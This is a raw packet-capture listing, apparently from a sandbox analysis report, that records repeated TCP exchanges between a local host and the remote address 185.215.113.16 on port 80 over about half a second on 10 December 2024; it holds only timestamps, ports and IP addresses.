Dec 10, 2024 02:50:47.200753927 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.200804949 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.200978994 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.201129913 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.203438044 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.203485966 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.203527927 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.203645945 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.206089020 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.206145048 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.206176996 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.206305027 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.208734989 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.208785057 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.208839893 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.208904982 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.211433887 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.211482048 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.211653948 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.211698055 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.214108944 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.214160919 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.214194059 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.214353085 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.216770887 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.216825962 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.216980934 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.217029095 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.219450951 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.219505072 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.219542027 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.219664097 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.222116947 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.222167015 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.222199917 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.222387075 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.225155115 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.225167036 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.225203037 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.225231886 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.227488041 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.227543116 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.227574110 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.227650881 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.230159044 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.230228901 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.230283022 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.230447054 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.232821941 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.232877016 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.232908964 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.232945919 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.235513926 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.235562086 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.235594988 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.236046076 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.238269091 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.238334894 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.238481998 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.238537073 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.240828037 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.240885019 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.241000891 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.241043091 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.243505001 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.243556976 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.243591070 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.243705034 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.246229887 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.246315002 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.246335983 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.246946096 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.248990059 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.249002934 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.249057055 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.251518965 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.251641989 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.251696110 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.254211903 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.254261971 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.254314899 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.254817963 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.256934881 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.256983042 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.256990910 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.257025957 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.259552002 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.259612083 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.259668112 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.259805918 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.262248993 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.262310028 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.262361050 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.262804031 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.264883041 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.264941931 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.264997005 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.265036106 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.267694950 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.267716885 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.267745972 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.267767906 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.270225048 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.270291090 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.270329952 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.270509005 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.272883892 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.272934914 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.273000956 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.273039103 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.275531054 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.275603056 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.373523951 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.373580933 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.373673916 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.373713017 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.374660969 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.374764919 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.374818087 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.376822948 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.376871109 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.376930952 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.376972914 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.379045963 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.379095078 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.379158974 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.379221916 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.381261110 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.381367922 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.381367922 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.381491899 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.383394003 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.383506060 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.383593082 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.385509014 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.385554075 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.385611057 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.385672092 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.387655973 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.387701988 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.387722015 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.387767076 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.389652014 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.389740944 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.389770985 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.389818907 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.391681910 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.391727924 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.391793013 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.391833067 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.393723011 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.393769026 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.393856049 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.393955946 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.395740986 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.395788908 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.395844936 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.395909071 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.397739887 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.397835016 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.397861958 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.397878885 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.399667025 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.399709940 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.399771929 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.399817944 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.401586056 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.401633978 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.401716948 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.401765108 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.403511047 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.403556108 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.403650999 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.403765917 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.405441046 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.405486107 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.405525923 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.405592918 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.407388926 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.407430887 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.407490015 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.407576084 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.409327984 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.409365892 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.409439087 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.409483910 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.411248922 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.411308050 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.411354065 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.411402941 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.413209915 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.413259983 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.413322926 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.413384914 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.415129900 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.415188074 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.415225029 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.415337086 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.417155027 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.417222023 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.417242050 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.417280912 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.419063091 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.419115067 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.419137001 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.419239044 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.420958042 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.421005011 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.421042919 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.421092987 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.422892094 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.422943115 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.423059940 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.423106909 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.424819946 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.424923897 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.424926996 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.425081015 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.426744938 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.426805019 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.426842928 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.426883936 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.428710938 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.428755045 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.428795099 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.428838968 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.430622101 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.430670023 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.430740118 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.430788994 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.432598114 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.432697058 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.432715893 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.432878017 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.434521914 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.434565067 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.434604883 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.434721947 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.436484098 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.436525106 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.436593056 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.436639071 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.438386917 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.438431978 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.438503027 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.438558102 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.440327883 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.440371990 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.440438986 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.440491915 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.442267895 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.442306042 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.442564964 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.442603111 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.444200039 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.444246054 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.444303989 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.444396019 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.446132898 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.446177959 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.446252108 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.446331024 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.448061943 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.448142052 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.448178053 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.448225021 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.450045109 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.450086117 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.450141907 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.450198889 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.451958895 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.452071905 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.452094078 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.452112913 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.453954935 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.454004049 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.454149961 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.454303026 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.455873966 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.455919027 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.455979109 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.456024885 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.457815886 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.457859039 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.457938910 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.457994938 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.459717035 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.459759951 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.459810972 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.459882021 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.461673975 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.461726904 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.461757898 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.461803913 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.463589907 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.463635921 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.463673115 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.463728905 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.465534925 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.465579987 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.465614080 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.465693951 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.467464924 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.467510939 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.467577934 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.467622995 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.469397068 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.469436884 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.469496965 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.469543934 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.471348047 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.471402884 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.565673113 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.565768003 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.565819025 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.566468000 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.566514969 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.566543102 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.566582918 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.567732096 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.567778111 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.567840099 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.567889929 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.569295883 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.569392920 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.569434881 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.570862055 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.570914984 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.570979118 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.571016073 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.572410107 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.572458029 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.572511911 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.572555065 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.573966026 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.574094057 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.574146032 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.575506926 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.575617075 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.575630903 CET	49798	80	192.168.2.5	185.215.113.16
